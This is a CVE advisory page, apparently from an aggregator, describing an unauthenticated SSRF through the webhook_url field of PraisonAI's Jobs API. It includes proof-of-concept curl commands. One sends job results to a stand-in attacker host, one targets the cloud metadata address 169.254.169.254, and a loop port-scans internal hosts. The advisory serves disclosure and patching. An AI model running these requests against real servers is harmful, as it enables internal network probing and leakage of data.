PraisonAI Vulnerable to Server-Side Request Forgery via Unvalidated webhook_url in Jobs API
The /api/v1/runs endpoint accepts an arbitrary webhook_url in the request body with no URL validation. When a submitted job completes (success or failure), the server makes an HTTP POST request to this URL using httpx.AsyncClient. An unauthenticated attacker can use this to make the server send POST requests to arbitrary internal or external destinations, enabling SSRF against cloud metadata services, internal APIs, and other network-adjacent services.
The vulnerability exists across the full request lifecycle:
1. User input accepted without validation — models.py:32:
```python
class JobSubmitRequest(BaseModel):
webhook_url: Optional[str] = Field(None, description="URL to POST results when complete")
```
The field is a plain str with no URL validation — no scheme restriction, no host filtering.
2. Stored directly on the Job object — router.py:80-86:
```python
job = Job(
prompt=body.prompt,
...
webhook_url=body.webhook_url,
...
)
```
3. Used in an outbound HTTP request — executor.py:385-415:
```python
async def _send_webhook(self, job: Job):
if not job.webhook_url:
return
try:
import httpx
payload = {
"job_id": job.id,
"status": job.status.value,
"result": job.result if job.status == JobStatus.SUCCEEDED else None,
"error": job.error if job.status == JobStatus.FAILED else None,
...
}
async with httpx.AsyncClient(timeout=30.0) as client:
response = await client.post(
job.webhook_url, # <-- attacker-controlled URL
json=payload,
headers={"Content-Type": "application/json"}
)
```
4. Triggered on both success and failure paths — executor.py:180-205:
```python
# Line 180-181: on success
if job.webhook_url:
await self._send_webhook(job)
# Line 204-205: on failure
if job.webhook_url:
await self._send_webhook(job)
```
5. No authentication on the Jobs API server — server.py:82-101:
The create_app() function creates a FastAPI app with CORS allowing all origins (["*"]) and no authentication middleware. The jobs router is mounted directly with no auth dependencies.
There is zero URL validation anywhere in the chain: no scheme check (allows http://, https://, and any scheme httpx supports), no private/internal IP filtering, and no allowlist.
Step 1: Start a listener to observe SSRF requests
```bash
# In a separate terminal, start a simple HTTP listener
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
class Handler(BaseHTTPRequestHandler):
def do_POST(self):
length = int(self.headers.get('Content-Length', 0))
body = self.rfile.read(length)
print(f'Received POST from PraisonAI server:')
print(json.dumps(json.loads(body), indent=2))
self.send_response(200)
self.end_headers()
HTTPServer(('0.0.0.0', 9999), Handler).serve_forever()
"
```
Step 2: Submit a job with a malicious webhook_url
```bash
# Point webhook to attacker-controlled server
curl -X POST http://localhost:8005/api/v1/runs \
-H 'Content-Type: application/json' \
-d '{
"prompt": "say hello",
"webhook_url": "http://attacker.example.com:9999/steal"
}'
```
Step 3: Target internal services (cloud metadata)
```bash
# Attempt to reach AWS metadata service
curl -X POST http://localhost:8005/api/v1/runs \
-H 'Content-Type: application/json' \
-d '{
"prompt": "say hello",
"webhook_url": "http://169.254.169.254/latest/meta-data/"
}'
```
Step 4: Internal network port scanning
```bash
# Scan internal services by observing response timing
for port in 80 443 5432 6379 8080 9200; do
curl -s -X POST http://localhost:8005/api/v1/runs \
-H 'Content-Type: application/json' \
-d "{
\"prompt\": \"say hello\",
\"webhook_url\": \"http://10.0.0.1:${port}/\"
}"
done
```
When each job completes, the server POSTs the full job result payload (including agent output, error messages, and execution metrics) to the specified URL.
1. SSRF to internal services: The server will send POST requests to any host/port reachable from the server's network, allowing interaction with internal APIs, databases, and cloud infrastructure that are not meant to be externally accessible.
2. Cloud metadata access: In cloud deployments (AWS, GCP, Azure), the server can be directed to POST to metadata endpoints (169.254.169.254, metadata.google.internal), potentially triggering actions or leaking information depending on the metadata service's POST handling.
3. Internal network reconnaissance: By submitting jobs with webhook URLs pointing to various internal hosts and ports, an attacker can discover internal services based on timing differences an
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality low, integrity low, availability none.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
CVE-2026-40114 is classified as CWE-918: Server-Side Request Forgery (SSRF). The server fetches a URL supplied by the caller, which can be pointed at internal systems it alone can reach.
CVE-2026-40114 is recorded against 1 package.
Published on 10 April 2026 and last revised on 13 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from OSV.
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)
github.com (Web)
praisonai has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-918: Server-Side Request Forgery (SSRF)) in other software:
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| praisonai | — | 4.5.128 |
References
Similar Threats
Exploit Protection
CVE-2026-40114 carries CVSS 8.0 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2026-40114 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.